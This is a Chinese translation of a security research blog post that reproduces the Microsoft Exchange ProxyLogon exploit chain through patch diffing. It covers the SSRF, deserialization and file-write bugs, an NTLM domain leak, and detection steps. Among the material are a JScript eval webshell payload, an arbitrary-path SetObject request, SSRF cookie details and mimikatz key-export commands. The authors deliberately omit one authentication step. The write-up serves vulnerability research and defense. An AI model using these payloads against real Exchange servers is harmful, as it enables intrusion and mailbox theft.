复现Microsoft Exchange Proxylogon漏洞利用链

Anthony WeemsDallas Kaman 于2021年3月9日发表


介绍

最近几周,在全球无处不在网络攻击中,微软已经检测多个0-day漏洞EXP用于攻击本地版本的Microsoft Exchange Server。ProxyLogon是CVE-2021-26855的名称,它是一个存在于Microsoft Exchange Server的漏洞,可以使攻击者绕过身份验证并模拟用户。在观察到的攻击中,威胁行动者使用该漏洞去访问本地Excange服务器,从而可以访问邮箱账号,并且安装了其他恶意软件对受害机器进行长期的控制。

Praetorian Labs team 团队对初始安全公告和后续补丁进行了逆向分析,成功地发现了功能全面的end to end漏洞。把本文概述这样做的方法,但是有意地决定省略关键的概念验证组件以防止不成熟的参与者将漏洞武器化。尽管我们选择不发布完整的利用程序,但是我们知道在安全社区将不久会发布完整的利用程序。一旦剩下的步骤成为人尽皆知的知识,我们会更开放地讨论我们对于end-to-end的解决方案。我们相信之间的时间/天数将为我们的客户,公司和其他国家/地区提供更多时间来修补此严重漏洞。

Microsoft已快速开发并发布了脚本,指示工具和紧急的补丁程序,以帮助缓解这些漏洞。Microsoft安全响应中心在此处已经发布了一篇博客文章,详细介绍了这些缓解措施。值得注意的是,URL重写模块可以成功地阻止利用无需紧急修补,并且被证明是应对Proxylogon的快速有效策略。然而,正如其他地方讨论那样,对Proxylogon的利用已经非常广泛,对于对外部提供服务的Exchange服务器的操控者来说,现在必须专注于事件响应和降低风险。

方法

对于逆向工程,我们实现了以下步骤,去使我们能够执行对Exchange和它的补丁静态与动态的分析。

  • 差异查看易受攻击的版本和修补的版本之间的区别
  • 测试:部署易受攻击版本的完整测试环境
  • 观察:部署工具来了解典型的网络通信
  • 研究:遍历每个CVE,将补丁差异连接到网络流量,并构造概念验证exp

差异

通过检查补丁前的二进制文件和补丁后的二进制文件间的差异,我们可以确定进行了那些更改。然后对这些更改进行逆向分析,以帮助重现原始的bug。

微软的更新目录在获取补丁用于确定差异时很有帮助。快速搜索相关软件的版本会返回一个安全补丁汇总列表,我们使用这些列表将最新的安全补丁与其前身进行了比较。例如,通过搜索“ Exchange Server 2013 CU23的安全更新”,我们找到了特定版本的Exchange的修补程序。之所以选择Exchange 2013,是因为它是易受CVE-2021-26855攻击的Exchange版本的最小补丁集,因此最容易进行diff。

Microsoft Update 更新目录有助于根据日期来排序,因此所需的文件是前两个条目


首先, 我们下载最新的(3/2/2021)和以前的(12/2/2021)的安全更新汇总。通过从.cab文件提取.msp文件,并使用7zip去解压缩.msp文件,我们剩下了两个存放二进制文件的文件夹用于比较。

.msp 更新包含了几百个二进制文件-大部分是.NET应用程序


因为大多数二进制文件都是.NET应用程序,因此我们使用 dnSpy 去反编译为一系列源文件,为了加快分析的速度,我们自动反编译,并通过将每一个版本作为单独的提交到github进行比较,来使用github的源代码管理的比较功能。

PS. 很棒的trick

在Github上寻找差异有助于突出重要的变化,一目了然


我们也发现有用的另一个寻找差异的工具选择是Telerik’s JustAssembly..

JustAssembly简洁地显示整个dll的更改


准备工作完成后, 我们需要启动目标Exchange服务器再次进行测试。

测试

首先,我们使用Microsoft的ADDSDeployment模块来设置标准域控制器。然后,我们下载了相关的Exchange程序(ex:https://www.microsoft.com/en-us/download/details.aspx?id=58392 for Exchange 2013 CU23) 并且执行了标准的安装程序。

对于基于Azure的Excahnge环境,我们跟随here的步骤进行操作,将在"Install Exchange"的步骤8中下载的安装程序替换为上面链接中找到的正确的Exchange安装程序。此外,我们修改了服务器配置脚本中的PowerShell代码以启动2012-R2 Datacenter服务器而不是2019 服务器版本

$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

这样可以快速部署独立的域控制器和Exchange服务器, 并具有适当的网络安全组,以防止不必要的基于Internet的利用尝试。

观察

Microsoft Exchange由几个后端组件组成,这些组件在服务器正常工作期间进行相互通信。从用户的角度来看,对前端Exchange服务器的请求将通过IIS流到Exchange HTTP Proxy代理,后者评估mailbox路由逻辑,将请求发送到合适的后端服务器。如下图所示:

Microsoft Exchange 2016客户端访问协议体系结构图(https://docs.microsoft.com/zh-cn/exchange/architecture/architecture#client-access-protocol-architecture)


我们感兴趣的是观察从HTTP代理发送到Exchange后端的所有流量,因为其中包括来自真实服务的许多示例请求,以帮助我们更好地了解源代码和漏洞利用程序中的请求。Excahnge是部署在IIS上的,因此我们可以对Exchange的后端绑定做一个小修改,更新端口从444为4444。下一步,我们部署一个代理在444端口用来转发数据到新的绑定地址。

Exchange HTTP代理验证Exchange后端的tls证书,因此为了使我们的代理正常运行,我们想要导出计算机本地证书中的“ Microsoft Exchange”证书。由于此证书的私钥在Exchange安装过程中被标记为不可导出,因此我们使用mimikatz提取了密钥和证书。

mimikatz# privilege::debug
mimikatz# crypto::certificates /export /systemstore:LOCAL_MACHINE

PS.这里真的长知识了。

使用mimikatz从我们的测试机中提取Exchange证书和密钥。


手头有了证书和密钥, 我们使用了类似于socat的工具(一种多功能网络中继工具),去使用Exchange的证书监听端口444,并将链接中继到端口4444(实际的Exchange后端)。socat命令可能如下所示:

# export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
# launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0

配置了代理后,我们便开始正常使用Exchange来生成HTTP请求并了解有关这些内部连接的更多信息。此外,几个后端服务器进程将请求发送到端口444,从而使我们能够观察到定期的运行状况检查,Powershell远程处理请求等。

研究

尽管每个CVE都不同,但我们对特定CVE进行分类的一般方法包括五个阶段:

1.审查指标

2.查看补丁差异

3.联系指标与差异

4.关联代码路径与代理流量

5.发起请求触发代码路径

6.重复操作

通过CVE-2021-26857进行热身

CVE-2021-26857是统一消息服务中的不安全的反序列化漏洞。不安全的反序列化是不可信的用户可控制数据被程序反序列化的地方。利用此漏洞,HAFNIUM可以在Exchange服务器上以SYSTEM身份运行代码。” –通过Microsoft有关HAFNIUM漏洞的公告

尽管最终不需要在Exchange服务器上执行远程代码,但它提供了一个简单的示例,说明了修补程序的差异是如何揭示了漏洞的细节。上面的公告还明确地将统一消息服务确定为潜在目标,这极大地帮助我们去缩小初始的搜索范围。

Exchange二进制软件包的命名非常明确-代理功能位于Microsoft.Exchange.HttpProxy。中,日志上传位于Microsoft.Exchange.LogUploader中,而统一消息代码位于Microsoft.Exchange.UM。中。当比较文件时,我们在文件名中并不总是有明确的指示符,但是在我们的调查中没有理由不使用它。

JustAssembly标出的这些dll的差异非常清楚地说明了根本原因


此处的差异类表名Base64Deserialize功能已经被删除,并且contactInfoDeserializationAllowList属性被添加了。.NET从历史上就一直在解决反序列化问题,因此,看到此类变化强烈建议删除易受攻击的代码,并增加针对.NET反序列化利用的保护。检查Base64Deserialize确认了这一点:

删除的函数将base64字符串的输出传递给BinaryFormatter的反序列化


在补丁之前,Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile我们通过检查diff观察到了这个不安全的方法:

此功能的更新版本包含更多可在反序列化之前正确验证类型的代码。

本质上,此修补程序删除了可以使用ysoserial.net之类的工具进行利用的易受.NET反序列化攻击的功能。尽管这里的攻击路径非常简单,但是服务器上并非始终启用统一消息,因此,我们的概念验证利用依赖于CVE-2021-27065,如下所述。

服务器端请求伪造(CVE-2021-26855

由于所有远程执行代码漏洞都需要绕过身份验证,我们把我们的注意力集中到服务器端请求伪造(SSRF)。Microsoft发布了以下Powershell命令,以搜索与此漏洞相关的指标:

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

此外,Volexity还发布了以下与SSRF利用相关的URL:

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

通过利用上述的一些暗示,我们在补丁差异中搜索了相关术语(包括诸如主机,主机名,fqdn之类的字符串),并发现了Microsoft.Exchange.FrontEndHttpProxy.HttpProxy名称空间中有趣的变化。这使我们还发现了BEResourceRequestHandler所使用的BackEndServer类中的相关差异。

补丁差异关于ServerInfo / authentication / host / fqdn.


修补BEResourceRequestHandler使用的BackEndServer类的差异。


接下来,我们跟踪到的调用BEResourceRequestHandler,并从中的SelectHandlerForUnauthenticatedRequest方法找到了相关路径ProxyModule

缩小的代码显示命中BEResourceRequestHandler的路径。


最后, 我们评估了BEResourceRequestHandler的CanHandle方法,发现他需要带有ECP"协议" (e.g. /ecp/)的URL,X-BEResource的cookie, 和一个以静态文件类型扩展名结尾的URL(例如js, css,flt等)。由于此代码是在HttpProxy中实现的,因此URL不需要合法,这解释了以下的事实:

一些payload只是使用了/ecp/y.js类型的一个不存在的文件。

X-BEResourcecookie在BackEndServer.FromString解析,从而有效地分离~的字符串,并分配第一个元素给"FQDN"给后端,解析第二个为整数的版本号。

然后我们跟踪了该BackEndServer对象的用法,并发现该对象已用于ProxyRequestHandler去决定

将代理请求发送到的主机。URI是GetTargetBackEndServerUrl通过UriBuilder来构造的,是本地.NET的类。

缩小的代码显示ProxyRequestHandler中的相关方法。


在这一点上,我们可以通过设置特定的标头并将请求发送到/ ecp中的“静态”文件来从理论上控制用于这些后端连接的主机。但是仅控制主机并不足以在Exchange后端调用任意的终结点。为此,我们查看了.NET源代码本身,以了解如何实现UriBuilder。

参考源代码中UriBuilder的ToString方法。


如上面的代码片段所示,UriBuilder的ToString方法(用于构造URI)使用我们的输入执行简单的字符串连接。因此,如果将Host设置为"example.org/api/endpoint/#",则可以有效地获得对目标URL的完全控制。
有了这些信息,我们就可以通过以下HTTP请求演示SSRF了。

由于Kerberos主机不匹配,SSRF尝试访问example.org失败。

唉! 由于NegotiateSecurityContext与example.org通信出错,我们的SSRF尝试“失败” 。

事实证明,此错误是我们理解SSRF的关键,因为它表明了HTTP代理正试图通过Kerberos向后端服务器进行身份验证的事实。通过将主机名设置为Exchange服务器计算机名,Kerberos身份验证成功,并且我们可以通过以NT AUTHORITY\SYTEM身份访问端点。有了这些信息,我们就足以通过以下HTTP请求演示SSRF…

由于后端身份验证检查,导致SSRF尝试失败。

唉! 再次失败!后端服务器由于某种原因拒绝了我们的请求。跟踪此错误,我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方法,只有ProxyToDownLevelGetTargetBackEndServerUrl方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。

幸运的是,我们可以通过修改Cookie中的服务器版本来防止GetTargetBackEndServerUrl设置此值。如果版本大于Server.E15MinVersionProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证。

成功向自动发现端点发送SSRF。


在查看上面的代码路径时,我们在OWA代理处理程序中发现了另一个SSRF。这些请求是在没有Kerberos身份验证的情况下发送的,因此可以将其定向到任意服务器,如下所示。

成功的SSRF尝试通过X-AnonResource cookie进入example.org。


至此,我们有足够的信息来伪造对某些后端服务的请求。我们不会发布有关如何正确认证更敏感的服务(例如/ecp)的信息,因为该信息不是公开可用的。

任意文件写入(CVE-2021-27065

有了SSRF,我们将注意力转向了远程代码执行。在开始发布补丁程序之前,关于此漏洞的第一个线索来自Microsoft和Volexity发布的提示。即,此Powershell命令可在ECP日志中搜索危害指标:

Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `-Pattern 'Set-.+VirtualDirectory'

此外,Volexity博客文章描述了/ecp/DDI/DDIService.svc/SetObject与利用有关的请求。有了这两个事实,我们在diff中搜索了ECP或DDI类中与文件I / O相关的任何内容。结果很快出来了,是位于Microsoft.Exchange.Management.ControlPanel.DIServiceWriteFileActivity类。“控制面板”是ECP的面向用户的名称,DDIService直接在指示符URL中。如下面的差异所示,旧功能将具有用户控制名称的文件直接写入磁盘。在新功能中,代码会附加“ .txt”文件扩展名(如果尚不存在)。知道一般的漏洞利用包括将ASPX Webshell编写到服务器上,这WriteFileActivity似乎是漏洞利用的主要选择。

修补WriteFileActivity.cs的差异


如果我们在Exchange安装目录中搜索WriteFileActivity,则会在Exchange Server \ V15 \ ClientAccess \ ecp \ DDI中的多个XAML文件中看到该文件。

ResetOABVirtualDirectory.xaml中的代码段

--

在检查了XAML文件并查看了Exchange Web UI中的ECP功能之后,我们确定上面的SetObjectWorkflow描述了要在服务器端执行的一系列步骤(包括Powershell cmdlet执行),以执行特定操作。

ECP用户界面,显示ResetVirtualDirectory的配置选项。


通过提交示例ResetVirtualDirectory请求,我们观察到Exchange服务器写入了一个关于VirtualDirectory的美化打印的配置到指定的路径,删除了VirtualDirectory,然后重新创建了该目录。该配置文件包含目录中的许多属性,并且可以使用任意扩展名写入到系统上的任何目录。请求和结果文件的屏幕截图如下所示.

http请求DDIService去重置OAB VirtualDirectory的示例:

POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
  "identity": {
    "__type": "Identity:ECP",
    "DisplayName": "OAB (Default Web Site)",
    "RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
  },
  "properties": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
      "FilePathName": "C:\\VirtualDirectory.aspx"
    }
  }
}

DDIService导出的文件显示了VirtualDirectory的所有属性。


ECP Web UI显示VirtualDirectory的可编辑参数。

UI中公开了以下参数,用于编辑VirtualDirectory。值得注意的是,内部URL和外部URL在UI中公开,在XAML中作为参数描述,并在任意路径下写入文件中。这些因素的组合允许攻击者控制的输入到达任意路径,这是启用Webshell所必需的条件。

经过一些试验,我们确定服务器的内部/外部URL字段已部分验证。即服务器验证了URI方案,主机名,并强加了256个字节的最大长度。另外,服务器对有效负载中的任何百分号进行“百分比编码”(例如,“%”变为“%25”)。结果,像这样的经典ASPX代码块<% code %>被转换为<%25 code %25>无效的代码块。但是,未对其他元字符(例如<和>)进行编码,从而允许注入如下所示的URL:

http://o/#<script language="JScript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>

PS.又是一个good trick!

重置VirtualDirectory后,此URL会嵌入到导出中,并保存到我们选择的路径中,从而允许在Exchange服务器上执行远程代码。

使用webshell在受感染的Exchange服务器上执行命令。


泄漏后端+域

完整的利用链需要Exchange服务器后端和域。在Crowdstrike的有关攻击的博客文章中,他们发布了整个Internet上正在发生的攻击的完整日志。在此日志中,第一个调用一个/ rpc /端点:

初始请求命中了Exchange公开的/ rpc /


此初始请求必须是未经身份验证的,并且可能利用HTTP?redirectedfrom=MSDN)上的RPC,?redirectedfrom=MSDN)该RPC?redirectedfrom=MSDN)本质上通过端点公开了NTLM身份验证。HTTP上的RPC本身是一个相当复杂的协议,可以通过Microsoft的开放规范计划对其进行详细介绍

作为攻击者,我们有兴趣解析发送NTLM协商消息后返回给我们的NTLM质询消息。该质询消息包含许多AV_PAIR结构这些结构包含我们感兴趣的信息,特别是MsvAvDnsComputerName(后端服务器名称)和MsvAvDnsTreeName(域名)。
Impacket的 http.py已经包含执行此协商以生成协商消息,然后将质询响应解析为AV_PAIR结构的代码。请求和响应最终看起来像:

RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1Host: frontend.exchange.contoso.comUser-Agent: MSRPCAccept: application/rpcAccept-Encoding: gzip, deflateAuthorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=Content-Length: 0Connection: close
HTTP/1.1 401 UnauthorizedServer: Microsoft-IIS/8.5request-id: 72dce261-682e-4204-a15a-8055c0fd93d9Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnlyWWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAAWWW-Authenticate: NegotiateWWW-Authenticate: Basic realm="frontend.exchange.contoso.com"X-Powered-By: ASP.NETX-FEServer: frontendDate: Mon, 08 Mar 2021 22:48:47 GMTConnection: closeContent-Length: 0

可以使用Impacket解析base64编码的哈希,以显示泄漏的域信息。

嵌入在WWW身份验证NTLM挑战中的泄漏的域信息

恢复AV_PAIR data的编码为Windows Unicode,并将特定映射AV_ID到值。AV_IDs是映射到特定内容的常量,例如,我们要获取3(后端主机名)和5(域)的字符串。

AV_PAIR结构到计算数据中数字的映射


此处发布的信息确定后端值为ex.corp.contoso.com,域为corp.contoso.com。这些是滥用前面讨论的SSRF漏洞所需的值。

课外工作

如其他地方所述,我们已省略某些漏洞利用细节,以防止漏洞利用。读者可以通过这种机制来利用任意用户对ECP端点进行身份验证的机制。一旦有足够的时间,我们将在后续博客中发布有关此问题的更多详细信息。

检测

Microsoft’s Threat Intel Center (MSTIC) 已经提供了出色indicatorsdetection scripts,任何配备内部Exchange服务器的人都应该使用。为了确定是否存在妥协,我们建议SOC,MSSP和MDR采取以下步骤:

  1. 确保所有端点保护产品均已更新并正常运行。尽管漏洞利用本身可能尚未向检测引擎发布大量的IoC,但可以使用现代工具轻松检测漏洞利用后的活动。
  2. 在所有Exchange服务器上,从上面链接的Microsoft github运行“ TestProxyLogon.ps1”脚本。根据我们对利用漏洞进行武器化的经验,脚本应检测出任何被利用系统的证据。
  3. 仔细检查有问题的服务器的配置,计划的任务,自动运行等,这些都是攻击者在获得初始访问权限后可能隐藏的所有位置。确保为Exchange服务器启用了“审核过程创建”审核策略和PowerShell日志记录,并检查可疑的命令和脚本。差异应尽快得到验证,报告和补救。

    在继续探索这些漏洞的过程中,我们打算发布其他材料,以检测您所在环境中此漏洞的任何证据。

实施漏洞利用

Sean MetcalfTrimarc Security的先前工作详细介绍了本地Exchange安装通常随附高级权限。

通过这种方式进行配置后,控制Exchange服务器的攻击者可以轻松地将此访问权限用于ACL滥用引起的整个域范围的损害。受影响的环境可以通过检查应用于根域对象的ACL并观察易受攻击的Exchange资源是否属于这些组来确定是否应怀疑站点范围的损害。我们在Trimarc帖子中对PowerShell片段进行了修改,以更具体地筛选Exchange Windows权限和Exchange受信任子系统组。如果您的环境已将Exchange资源添加到自定义组或其中的自定义组,则需要相应地调整脚本。

import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}

致谢

我们的研究过程依赖于原始研究人员,事件响应者和其他致力于复现这些错误的安全研究人员已发表的作品,而不是凭空复现。我们的感谢和欣赏的是:

本文为翻译文章,原文链接:https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖